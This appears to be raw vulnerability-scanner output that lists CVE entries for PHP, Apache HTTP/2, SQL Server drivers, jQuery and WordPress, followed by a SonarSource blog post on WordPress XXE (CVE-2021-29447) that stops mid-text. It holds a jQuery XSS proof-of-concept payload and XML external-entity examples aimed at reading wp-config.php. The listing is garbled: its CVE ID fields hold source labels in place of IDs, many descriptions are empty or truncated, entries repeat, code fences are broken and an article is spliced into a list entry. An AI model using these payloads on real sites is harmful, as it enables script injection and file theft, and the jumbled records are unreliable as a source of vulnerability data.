Vulnerabilities found:

- CVE ID: NVD

Description: PHP5 before 5.4.4 allows passing invalid utf-8 strings via the xmlTextWriterWriteAttribute, which are then misparsed by libxml2. This results in memory leak into the resulting output.

CVSS Score: 5.0

- CVE ID: NVD

Description: SQL injection vulnerability in Zend Framework 1.10.x before 1.10.9 and 1.11.x before 1.11.6 when using non-ASCII-compatible encodings in conjunction PDO_MySql in PHP before 5.3.6.

CVSS Score: 7.5

- CVE ID: NVD

Description: Use-after-free vulnerability in the add_post_var function in the Posthandler component in PHP 5.6.x before 5.6.1 might allow remote attackers to execute arbitrary code by leveraging a third-party filter extension that accesses a certain ksep value.

CVSS Score: 6.8

No vulnerabilities found.------------------------------------------------------------Vulnerabilities found:

- CVE ID: exploit

Description: # CVE-2024-27316 (HTTP/2 CONTINUATION flood) PoC

## Target serv...

CVSS Score: 0.0

- CVE ID: exploit

  Description: # CVE-2023-44487-

---------------------------------------------...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # HTTP/2 Rapid Reset: CVE-2023-44487

## Description

This repos...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # Golang CVE-2023-44487 testing

This repository contains testin...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # CVE-2023-44487

Basic vulnerability scanning to see if web serv...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # CVE-2024-27316

I decided to call this vulnerability specifica...

CVSS Score: 0.0

- CVE ID: exploit

Description: # CVE-2023-44487 (HTTP/2 Rapid Reset)

There are some examples i...

CVSS Score: 5.0

- CVE ID: exploit

Description: # HTTP2 Rapid Reset Attack: CVE-2023-44487

Quick exploit to test...

CVSS Score: 5.0

- CVE ID: exploit

Description: # HTTP/2 Rapid Reset Client (C#)

The HTTP/2 Rapid Reset Client,...

CVSS Score: 5.0

- CVE ID: software

Description: Out-of-bounds Read vulnerability in mod_macro of Apache HTTP Server.This issue affects Apache HTTP Server: through 2.4.57.

CVSS Score: 6.4

- CVE ID: software

Description: An attacker, opening a HTTP/2 connection with an initial window size of 0, was able to block handling of that connection indefinitely in Apache HTTP Server. This could be used to exhaust worker resources in the server, similar to the well known "slow loris" attack pattern.This has been fixed in version 2.4.58, so that such connection are terminated properly after the configured connection timeout.This issue affects Apache HTTP Server: from 2.4.55 through 2.4.57.Users are recommended to upgrade to version 2.4.58, which fixes the issue.

CVSS Score: 5.0

- CVE ID: software

Description: When a HTTP/2 stream was reset (RST frame) by a client, there was a time window were the request's memory resources were not reclaimed immediately. Instead, de-allocation was deferred to connection close. A client could send new requests and resets, keeping the connection busy and open and causing the memory footprint to keep on growing. On connection close, all resources were reclaimed, but the process might run out of memory before that.This was found by the reporter during testing of CVE-2023-44487 (HTTP/2 Rapid Reset Exploit) with their own test client. During "normal" HTTP/2 use, the probability to hit this bug is very low. The kept memory would not become noticeable before the connection closes or times out.Users are recommended to upgrade to version 2.4.58, which fixes the issue.

CVSS Score: 5.0

- CVE ID: software

Description: Out-of-bounds Read vulnerability in mod_macro of Apache HTTP Server.This issue affects Apache HTTP Server: through 2.4.57.

CVSS Score: 5.0

- CVE ID: software

Description: Faulty input validation in the core of Apache allows malicious or exploitable backend/content generators to split HTTP responses.This issue affects Apache HTTP Server: through 2.4.58.

CVSS Score: 0.0

- CVE ID: software

Description: An attacker, opening a HTTP/2 connection with an initial window size of 0, was able to block handling of that connection indefinitely in Apache HTTP Server. This could be used to exhaust worker resources in the server, similar to the well known "slow loris" attack pattern.This has been fixed in version 2.4.58, so that such connection are terminated properly after the configured connection timeout.This issue affects Apache HTTP Server: from 2.4.55 through 2.4.57.Users are recommended to upgrade to version 2.4.58, which fixes the issue.

CVSS Score: 5.0

- CVE ID: software

Description: When a HTTP/2 stream was reset (RST frame) by a client, there was a time window were the request's memory resources were not reclaimed immediately. Instead, de-allocation was deferred to connection close. A client could send new requests and resets, keeping the connection busy and open and causing the memory footprint to keep on growing. On connection close, all resources were reclaimed, but the process might run out of memory before that.This was found by the reporter during testing of CVE-2023-44487 (HTTP/2 Rapid Reset Exploit) with their own test client. During "normal" HTTP/2 use, the probability to hit this bug is very low. The kept memory would not become noticeable before the connection closes or times out.Users are recommended to upgrade to version 2.4.58, which fixes the issue.

CVSS Score: 5.0

- CVE ID: software

Description: HTTP Response splitting in multiple modules in Apache HTTP Server allows an attacker that can inject malicious response headers into backend applications to cause an HTTP desynchronization attack.Users are recommended to upgrade to version 2.4.59, which fixes this issue.

CVSS Score: 0.0

- CVE ID: software

Description: HTTP/2 incoming headers exceeding the limit are temporarily buffered in nghttp2 in order to generate an informative HTTP 413 response. If a client does not stop sending headers, this leads to memory exhaustion.

CVSS Score: 0.0

No vulnerabilities found.------------------------------------------------------------Vulnerabilities found:

- CVE ID: NVD

Description: Microsoft.Data.SqlClient and System.Data.SqlClient SQL Data Provider Security Feature Bypass Vulnerability

CVSS Score: 4.0

- CVE ID: NVD

Description: Microsoft Django Backend for SQL Server Remote Code Execution Vulnerability

CVSS Score: 6.5

- CVE ID: NVD

Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 5.1

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

  CVSS Score: 6.8

- CVE ID: NVD

```
  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability
  CVSS Score: 6.8

- CVE ID: NVD
  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability
  CVSS Score: 6.8

- CVE ID: NVD
  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability
  CVSS Score: 6.8

- CVE ID: NVD
  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability
  CVSS Score: 6.8

- CVE ID: NVD
  Description: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability
  CVSS Score: 6.8

No vulnerabilities found.------------------------------------------------------------Vulnerabilities found:
- CVE ID: exploit
  Description:
  CVSS Score: 4.3

- CVE ID: exploit
  Description:
```

CVSS Score: 4.3

- CVE ID: exploit

  Description:

  CVSS Score: 4.3

- CVE ID: exploit

  Description: [jQuery](https://jquery.com/) ? New Wave JavaScript

============...

  CVSS Score: 4.3

- CVE ID: exploit

  Description: [jQuery](http://jquery.com/) - New Wave JavaScript

=============...

  CVSS Score: 4.3

- CVE ID: exploit

  Description: # CVE-2020-11022 CVE-2020-11023

> In jQuery versions greater th...

  CVSS Score: 4.3

- CVE ID: exploit

  Description: This repository contains the patches for [CVE-2020-11022](https:...

  CVSS Score: 6.5

- CVE ID: exploit

  Description:

  CVSS Score: 4.3

- CVE ID: exploit

  Description:

  CVSS Score: 4.3

- CVE ID: exploit

  Description:

  CVSS Score: 4.3

- CVE ID: exploit

  Description:

  CVSS Score: 4.3

- CVE ID: exploit

  Description:

  CVSS Score: 4.3

- CVE ID: exploit

  Description:

  CVSS Score: 4.3

- CVE ID: NVD

  Description: Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or HTML via a crafted tag.

CVSS Score: 4.3

- CVE ID: NVD

Description: jQuery before 1.9.0 is vulnerable to Cross-site Scripting (XSS) attacks. The jQuery(strInput) function does not differentiate selectors from HTML in a reliable fashion. In vulnerable versions, jQuery determined whether the input was HTML by looking for the '<' character anywhere in the string, giving attackers more flexibility when attempting to construct a malicious payload. In fixed versions, jQuery only deems the input to be HTML if it explicitly starts with the '<' character, limiting exploitability only to attackers who can control the beginning of a string, which is far less common.

CVSS Score: 4.3

- CVE ID: NVD

Description: In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.

CVSS Score: 4.3

- CVE ID: NVD

Description: In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.

CVSS Score: 4.3

- CVE ID: NVD

  Description: jquery prior to 1.9.0 allows Cross-site Scripting attacks via the load method. The load method fails to recognize and remove "<script>" HTML tags that contain a whitespace character, i.e: "</script >", which results in the enclosed script logic to be executed.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: The jQuery Validation Plugin provides drop-in validation for your existing forms. It is published as an npm package "jquery-validation". jquery-validation before version 1.19.3 contains one or more regular expressions that are vulnerable to ReDoS (Regular Expression Denial of Service). This is fixed in 1.19.3.

  CVSS Score: 5.0

- CVE ID: NVD

  Description: jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `altField` option of the Datepicker widget from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `altField` option is now treated as a CSS selector. A workaround is to not accept the value of the `altField` option from untrusted sources.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of various `*Text` options of the Datepicker widget from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. The values passed to various `*Text` options are now always treated as pure text, not HTML. A workaround is to not accept the value of the `*Text` options from untrusted sources.

CVSS Score: 4.3

- CVE ID: NVD

  Description: jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the `of` option of the `.position()` util from untrusted sources may execute untrusted code. The issue is fixed in jQuery UI 1.13.0. Any string value passed to the `of` option is now treated as a CSS selector. A workaround is to not accept the value of the `of` option from untrusted sources.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: The jQuery Validation Plugin (jquery-validation) provides drop-in validation for forms. Versions of jquery-validation prior to 1.19.5 are vulnerable to regular expression denial of service (ReDoS) when an attacker is able to supply arbitrary input to the url2 method. This is due to an incomplete fix for CVE-2021-43306. Users should upgrade to version 1.19.5 to receive a patch.

  CVSS Score: 5.0

- CVE ID: NVD

  Description: jQuery UI is a curated set of user interface interactions, effects, widgets, and themes built on top of jQuery. Versions prior to 1.13.2 are potentially vulnerable to cross-site scripting. Initializing a checkboxradio widget on an input enclosed within a label makes that parent label contents considered as the input label. Calling `.checkboxradio( "refresh" )` on such a widget and the initial HTML contained encoded HTML entities will make them erroneously get decoded. This can lead to potentially executing JavaScript code. The bug has been patched in jQuery UI 1.13.2.

To remediate the issue, someone who can change the initial HTML can wrap all the non-input contents of the `label` in a `span`.

CVSS Score: 5.8

- CVE ID: NVD

Description: Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or HTML via a crafted tag.

CVSS Score: 4.3

- CVE ID: NVD

Description: jQuery before 1.9.0 is vulnerable to Cross-site Scripting (XSS) attacks. The jQuery(strInput) function does not differentiate selectors from HTML in a reliable fashion. In vulnerable versions, jQuery determined whether the input was HTML by looking for the '<' character anywhere in the string, giving attackers more flexibility when attempting to construct a malicious payload. In fixed versions, jQuery only deems the input to be HTML if it explicitly starts with the '<' character, limiting exploitability only to attackers who can control the beginning of a string, which is far less common.

CVSS Score: 4.3

- CVE ID: NVD

Description: jquery prior to 1.9.0 allows Cross-site Scripting attacks via the load method. The load method fails to recognize and remove "<script>" HTML tags that contain a whitespace character, i.e: "</script >", which results in the enclosed script logic to be executed.

CVSS Score: 4.3

- CVE ID: software

Description: Affected versions of `jquery` are vulnerable to cross-site scripting. This occurs because the main `jquery` function uses a regular expression to differentiate between HTML and selectors, but does not properly anchor the regular expression. The result is that `jquery` may interpret HTML as selectors when given certain inputs, allowing for client side code execution.

## Proof of Concept

```
$("#log").html(
   $("element[attribute='<img src=\"x\" onerror=\"alert(1)\" />']").html()
);
```

## Recommendation

Update to version 1.9.0 or later.

CVSS Score: 4.3

- CVE ID: software

Description: Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or HTML via a crafted tag.

CVSS Score: 4.3

- CVE ID: software

  Description: Versions of `jquery` prior to 1.9.0 are vulnerable to Cross-Site Scripting. The load method fails to recognize and remove `<script>` HTML tags that contain a whitespace character, i.e: `</script >`, which results in the enclosed script logic to be executed. This allows attackers to execute arbitrary JavaScript in a victim's browser.

## Recommendation

Upgrade to version 1.9.0 or later.

  CVSS Score: 4.3

- CVE ID: software

  Description: Affected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option.

## Recommendation

Update to version 3.0.0 or later.

  CVSS Score: 4.3

- CVE ID: software

  Description: ## Overview

Versions of `jquery` prior to 1.9.0 are vulnerable to Cross-Site Scripting. The load method fails to recognize and remove "<script>" HTML tags that contain a whitespace character, i.e: "</script >", which results in the enclosed script logic to be executed. This allows attackers to execute arbitrary JavaScript in a victim's browser.

## Recommendation

Upgrade to version 1.9.0 or later.

## References

- [GitHub Advisory](https://github.com/advisories/GHSA-q4m3-2j7h-f7xw)
  CVSS Score: 4.3

- CVE ID: software
  Description: Affected versions of `jquery` are vulnerable to cross-site scripting. This occurs because the main `jquery` function uses a regular expression to differentiate between HTML and selectors, but does not properly anchor the regular expression. The result is that `jquery` may interpret HTML as selectors when given certain inputs, allowing for client side code execution.

## Proof of Concept
```
$("#log").html(
    $("element[attribute='<img src=\"x\" onerror=\"alert(1)\" />']").html()
);
```

```

## Recommendation

Update to version 1.9.0 or later.

CVSS Score: 4.3

- CVE ID: software

Description: Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or HTML via a crafted tag.

CVSS Score: 4.3

- CVE ID: software

Description: Versions of `jquery` prior to 1.9.0 are vulnerable to Cross-Site Scripting. The load method fails to recognize and remove `<script>` HTML tags that contain a whitespace character, i.e: `</script >`, which results in the enclosed script logic to be executed. This allows attackers to execute arbitrary JavaScript in a victim's browser.

## Recommendation

Upgrade to version 1.9.0 or later.
```

CVSS Score: 4.3

- CVE ID: software

Description: Affected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option.

## Recommendation

Update to version 3.0.0 or later.

CVSS Score: 4.3

- CVE ID: software

Description: jquery is vulnerable to cross-site scripting (XSS). The regular expression in `load()` method does not properly remove HTML tags containing a whitespace character in the closing script tag (e.g `

CVSS Score: 4.3

No vulnerabilities found.------------------------------------------------------------Vulnerabilities found:

- CVE ID: exploit

Description: # CVE-2023-5561-PoC

WordPress does not properly restrict which u...

CVSS Score: 5.0

- CVE ID: exploit

Description: # CVE-2022-21661

POC Video | WordPress Core ...

CVSS Score: 5.0

- CVE ID: exploit

Description:

CVSS Score: 4.0

- CVE ID: exploit

Description:

CVSS Score: 5.0

- CVE ID: exploit

Description: Transposh WordPress Translation versions 1.0.7 and below have an ajax action "tp_translation" which is available to authenticated or unauthenticated users (see CVE-2022-2461) that allows them to submit new translations. Translations submitted this way are shown on the Transposh administrative interface on the pages "tp_main" and "tp_editor". However, since the plugin does not properly validate and sanitize the submitted translation, arbitrary Javascript code can be permanently injected and executed directly within the backend across all users visiting the page with the roles of at least "Subscriber" and up to "Administrator".

CVSS Score: 5.0

- CVE ID: exploit

Description: Transposh WordPress Translation versions 1.0.7 and below have an ajax action "tp_tp" that is vulnerable to an unauthenticated/authenticated reflected cross site scripting vulnerability when user-supplied input to the HTTP GET parameter "q" is processed by the web application. Since the application does not properly validate and sanitize this parameter, it is possible to place arbitrary script code onto the same page.

CVSS Score: 5.8

- CVE ID: exploit

Description: Transposh WordPress Translation versions 1.0.8.1 and below do not properly enforce authorization on functionalities available on the plugin's "Utilities" page leading to unauthorized access for all user roles, including "Subscriber".

CVSS Score: 4.0

- CVE ID: exploit

Description: Transposh WordPress Translation versions 1.0.8.1 and below have a "tp_editor" page at "/wp-admin/admin.php?page=tp_editor" that is vulnerable to two authenticated, blind SQL injections when user-supplied input to the HTTP GET parameters "order" and "orderby" is processed by the web application.

CVSS Score: 5.8

- CVE ID: exploit

Description:

CVSS Score: 5.8

- CVE ID: exploit

Description:

CVSS Score: 4.0

- CVE ID: exploit

Description:

CVSS Score: 5.5

- CVE ID: exploit

  Description: # CVE-2022-21661

# 1.??

WordPress v4.1~v5.8.2 WP_Query SQL Inj...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # CVE-2021-29447-POC

## About

This script automates the requir...

  CVSS Score: 4.0

- CVE ID: exploit

  Description: # CVE-2022-21661-PoC

A Python PoC of CVE-2022-21661, inspired fr...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # CVE-2021-29447

POC to exploit WordPress 5.6-5.7 (PHP 8+) Auth...

CVSS Score: 4.0

- CVE ID: exploit

  Description: # CVE-2021-29447

## Impact

Arbitrary File Disclosure: the cont...

CVSS Score: 4.0

- CVE ID: exploit

  Description: # ?? ? ?? ??

#### 0. docker ??

<pre> $docker-compose up  </pre>...

CVSS Score: 4.0

- CVE ID: exploit

  Description: # WordPress 5.6-5.7 - Authenticated (Author+) XXE (CVE-2021-2944...

  CVSS Score: 4.0

- CVE ID: exploit

  Description: # CVE-2022-3590 WordPress Vulnerability Scanner

This Python scr...

CVSS Score: 2.6

- CVE ID: exploit

Description: # WordPress CVE-2021-29447 exploit

Exploit WordPress Media Libr...

CVSS Score: 4.0

- CVE ID: exploit

Description: # wordpress_cve-202...

CVSS Score: 4.0

- CVE ID: exploit

Description: # CVE-2021-29447

## Disclaimer

This code is meant for educatio...

CVSS Score: 4.0

- CVE ID: exploit

Description: <div align="center">

[![Profile Visitors](https://komarev.com/g...

CVSS Score: 6.4

- CVE ID: exploit

  Description: ## Blind XXE controller

I make this controller on doing metatwo...

  CVSS Score: 4.0

- CVE ID: exploit

  Description: # CVE-2022-21661

 POC Video | WordPress Core ...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: CVE-2021-29447

WordPress 5.6-5.7 - Authenticated (Author+) XXE

...

  CVSS Score: 4.0

- CVE ID: exploit

  Description: # CVE-2021-29447 Proof of Concept

Proof of Concept for CVE-2021...

  CVSS Score: 4.0

- CVE ID: exploit

  Description: [cve-2021-29447]: https://vulners.com/cve/CVE-2021-29447

# CVE-...

CVSS Score: 4.0

- CVE ID: exploit

  Description: # exploit_cve-2021-29447

For educational purposes only.

This e...

CVSS Score: 4.0

- CVE ID: exploit

  Description: # wordpress-CVE-2022-21661

#version<5.8.3

path?http://your targ...

CVSS Score: 5.0

- CVE ID: exploit

  Description: # CVE-2022-21661-WordPress-Core-5.8.2-WP_Query-SQL-Injection

![...

CVSS Score: 5.0

- CVE ID: exploit

  Description: This repository demonstrates a vulnerability in WordPress 5.8.2,...

CVSS Score: 5.0

- CVE ID: exploit

  Description: # SSI-CVE-2022-21661

Information System's Security 2nd Assignme...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # WordPress XXE Vulnerability : CVE-2021-29447

A user with the ...

  CVSS Score: 4.0

- CVE ID: exploit

  Description: # Wordpress 5.8.2  CVE-2022-21661 Vuln enviroment

This envirome...

  CVSS Score: 5.0

- CVE ID: exploit

  Description: # CVE-2023-5561

CVE-2023-5...

  CVSS Score: 5.0

- CVE ID: exploit

Description: # WordPress CVE-2022-21661 Scanner

## Usage

```bash

python wor...

CVSS Score: 5.0

- CVE ID: exploit

Description: # CVE-2022-21661

CVE-2022-2166...

CVSS Score: 5.0

- CVE ID: exploit

Description: File disclosure vulnerability in WordPress Slider Revolution Responsive plugin

Vulnerability Type: File Disclosure

CVSS Score: 5.0

- CVE ID: exploit

Description:

CVSS Score: 4.0

- CVE ID: exploit

Description:

CVSS Score: 5.0
```

- CVE ID: exploit

  Description:

  CVSS Score: 5.5

- CVE ID: exploit

  Description: # CVE-2022-21661

CVE-2022-216...

  CVSS Score: 5.0

- CVE ID: exploit

  Description:

  CVSS Score: 10.0

- CVE ID: exploit

  Description:

  CVSS Score: 7.5

- CVE ID: exploit

  Description:

  CVSS Score: 5.0

- CVE ID: exploit

  Description:

  CVSS Score: 4.0

- CVE ID: exploit

  Description:

  CVSS Score: 0.0

- CVE ID: exploit

  Description:

  CVSS Score: 0.0

- CVE ID: exploit

  Description:

  CVSS Score: 0.0

- CVE ID: exploit

  Description:

  CVSS Score: 0.0

- CVE ID: exploit

  Description:

  CVSS Score: 0.0

- CVE ID: exploit

  Description:

  CVSS Score: 0.0

- CVE ID: exploit

  Description:

CVSS Score: 0.0

- CVE ID: exploit

  Description:

  CVSS Score: 0.0

- CVE ID: exploit

  Description:

  CVSS Score: 5.5

- CVE ID: exploit

  Description:

  CVSS Score: 7.5

- CVE ID: exploit

  Description: # WordPress 5.7 XXE Vulnerability

BY KARIM EL OUERGHEMMI|APRIL 26, 2021

At SonarSource, we are constantly improving our code analyzers and security rules. We recently improved our PHP security engine to [detect more OWASP Top 10 and CWE Top 25 issue types](https://community.sonarsource.com/t/the-php-security-engine-detects-9-additional-security-problems-related-to-xxe-cors-session-management-csrf-and-more/37986). When testing our new analyzers against some of the most popular open-source PHP projects, an interesting issue was raised in the WordPress codebase.

WordPress is the world?s most popular content management system that is used by [approximately 40% of all websites](https://w3techs.com/technologies/overview/content_management). This wide adoption makes it one of the top targets for cyber criminals. Its code is heavily reviewed by the security community and by bug bounty hunters that get paid for reporting security issues. Critical code issues rarely slip through their hands.

In this blog post we are investigating the new vulnerability reported by our analyzer. We explain its root cause, related to PHP 8, and demonstrate how an attacker could leverage it to undermine the security of a WordPress installation. We responsibly disclosed the code vulnerability to the WordPress security team who fixed it in the latest version 5.7.1 and assigned [CVE-2021-29447](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447).

[SonarCloud Vulnerability Report](https://sonarcloud.io/project/issues?id=SonarSourceResearch_wordpress.5.7.0&open=AXj-5hkLeJDscEr_Xkyb&resolved=false&types=VULNERABILITY)

## Impact

The detected code vulnerability is an authenticated XML External Entity (XXE) injection. It affects WordPress versions prior to 5.7.1 and can allow remote attackers to achieve:

- **Arbitrary File Disclosure**: the content of any file on the host?s file system could be retrieved, e.g. *wp-config.php* which contains sensitive data such as database credentials.
- **Server-Side Request Forgery (SSRF)**: HTTP requests could be made on behalf of the

WordPress installation. Depending on the environment, this can have a serious impact.

The vulnerability can be exploited only when WordPress is running on PHP 8. Additionally, the permissions to upload media files are needed. On a standard WordPress installation this translates to having *author* privileges. However, combined with another vulnerability or a plugin allowing visitors to upload media files, it could be exploited with lower privileges.

WordPress released a [security & maintenance update](https://wordpress.org/support/wordpress-version/version-5-7-1/) on April 14th, 2021 to patch the vulnerability and to protect its users.

## Technical Details

In this section we take a closer look at the technical details of the vulnerability. First we briefly revisit what an XXE vulnerability is. Following that, we dive into the vulnerability our analyzer reported in the WordPress core by looking at where it is located in the code, and why it became exploitable again in PHP 8 even though there was an effort to prevent such vulnerabilities in the affected code lines. Finally, we demonstrate how it can be exploited by attackers by using specially crafted input to extract the *wp-config.php* file, and how the vulnerability is prevented.

### XML External Entity (XXE) Vulnerabilities

XML offers the possibility to define custom entities that can be reused throughout a document. This can, for example, be used to avoid duplication. The following code defines an entity myEntity for further usage.

```
<!DOCTYPE myDoc [ <!ENTITY myEntity "a long value" > ]>
<myDoc>
   <foo>&myEntity;</foo>
   <bar>&myEntity;</bar>
</myDoc>
```

The value of defined entities can also stem from an external source referenced by a *URI*. In this case, they are called external entities:

```
<!DOCTYPE myDoc [ <!ENTITY myExternalEntity SYSTEM "http://?..com/value.txt" > ]>
<myDoc>
   <foo>&myExternalEntity;</foo>
<myDoc>
```

XXE attacks misuse this feature. They are possible when a loosely configured XML parser is run on user-controlled content. Loosely configured usually means that all entities are substituted with their corresponding value in the result. For example, in the last sample, if an attacker would supply file:///var/www/wp-config.php as the URI and is able to view the result of the parsed XML, she would successfully leak sensitive file content. However, the result of parsed XML is not always displayed back to the user, which is the case for the WordPress vulnerability described in this post. As we will see later, there are ways to cope with that.

This is the main idea and mechanism behind XXE ([learn more in our rule database](https://rules.sonarsource.com/php/RSPEC-2755)). Besides sensitive file disclosure, XXE can also have other impacts, such as *Server-Side Request Forgery* (to retrieve the content of external entities, a request has to be made, [S5144](https://rules.sonarsource.com/php/RSPEC-5144)), and *Denial of Service* (entities could reference other entities resulting in a possible exponential growth during substitution a.k.a. [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)).

### XXE in WordPress

WordPress has a Media Library that enables authenticated users to upload media files that can then be used in their blog posts. To extract meta information from these media files, e.g., artist name or title, WordPress uses the *getID3* library. Some of this metadata is parsed in XML form. Here, our analyzer reported a possible XXE vulnerability (line 730).

**wp-includes/ID3/getid3.lib.php**

```
723    if (PHP_VERSION_ID < 80000) {
724
725        // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
```

```
        // disabled by default, so this function is no longer needed to protect against XXE attacks.
        $loader = libxml_disable_entity_loader(true);
    }
    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
```

The used simplexml_load_string() function is a PHP function that parses a string passed to its first parameter as XML. It is possible to configure the underlying XML parser (PHP relies on *Libxml2*) with flags passed in the third argument.

The comments in the shown piece of code are of particular interest as they mention protection against XXE. Reading them while reviewing this finding of a static code analyzer might raise the suspicion that it is a false-positive, and that correct precautions have been taken to avoid the vulnerability. But, is it? (*Spoiler: no*)

To better understand the code and the surrounding comments, it is useful to look at its history. In 2014, an XXE vulnerability was fixed in [WordPress 3.9.2](https://wordpress.org/news/2014/08/wordpress-3-9-2/). This is the main reason the call libxml_disable_entity_loader(true) was added at that point. The PHP function libxml_disable_entity_loader() configures the XML parser to disable external entity loading.

Recently, with the release of PHP 8, the code was [slightly adapted](https://github.com/WordPress/WordPress/commit/03eba7beb2f5b96bd341255eaa30d6b612e62507) to accommodate for the deprecation of the libxml_disable_entity_loader() function and call it only if the running PHP version is older than 8. This function was deprecated because newer PHP versions use *Libxml2* v2.9+ which disables external entity fetching **by default**.

